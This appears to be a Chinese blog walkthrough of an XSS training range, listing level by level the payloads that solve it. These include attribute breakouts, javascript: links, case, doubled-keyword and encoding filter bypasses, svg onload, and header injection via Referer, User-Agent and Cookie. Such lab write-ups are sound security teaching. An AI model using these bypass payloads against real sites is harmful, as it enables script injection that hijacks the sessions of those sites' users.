靶场链接http://xss.tesla-space.com/?tdsourcetag=s_pcqq_aiomsg
参考博客https://blog.csdn.net/xlsj228/article/details/93166486
1
可以看到url中的test参数出现在页面中,虽然f12看到了下一关的地址,我假装没看见

在url处构造payload:xss.tesla-space.com/level1.php?name=test</h2><script>alert("xx")<script>
2

构造:" onmouseover=alert()
3
依旧如上一关

输入 " onmouseover=alert() 发现引号不能闭合

输入' onmouseover=alert() 单引号可以闭合

4
同2

5
" onmouseover=alert() 发现on中间加了下划线

" /> <script>alert()</script> script中间加了下划线

尝试大小写等无法绕过
就想到利用javascript伪协议 " /><a href=javascript:alert("ccc");>xxx</a>

6
和5相同,采用5的解法,发现href也被加了下划线,用大小写绕过,成功
" /><a Href=javascript:alert("ccc");>xxx</a>

7
onmouseover 的on被过滤,采用双写绕过
" oonnmouseover=alert()
8
采用javascript伪协议,可是被过滤

采用空格绕过,javascr ipt:alert('xss') ;还是不行

采用16进制编码,仍然不行
采用unicode编码,将t进行编码,成功
javascript:alert('xss') ;
9
利用javascript:alert(),发现

最后试探发现必须包含一个正常的链接,所以包含一个被注释掉的链接
javascript:alert()//http://www.baidu.com

10
查看源码发现是3个隐藏的标签

传入相关值,并将type设置为text可见http://xss.tesla-space.com/level10.php?t_sort="onmouseover="alert()"type="text
前两个标签不起作用,利用最后一个标签

11
参考https://blog.csdn.net/xlsj228/article/details/93166486
用bp截断增加referer头
referer:'' onmouseover=alert() type="text

12
与上相同,在user-agent处

13
与上相同,在cookie处
14
这一关好像挂了

然后下面给的level15的链接也挂了
手动改url进15关http://xss.tesla-space.com/level15.php
15
结果15关加载半天卡死……
16
将空格,script等过滤
运用<svg onload=alert()>标签
空格用回车换行%0d,%0a代替
17
url为http://xss.tesla-space.com/level17.php?arg01=a&arg02=b

构造payload:http://xss.tesla-space.com/level17.php?arg01=a&arg02=b" onmouseover=alert()
18
与17相同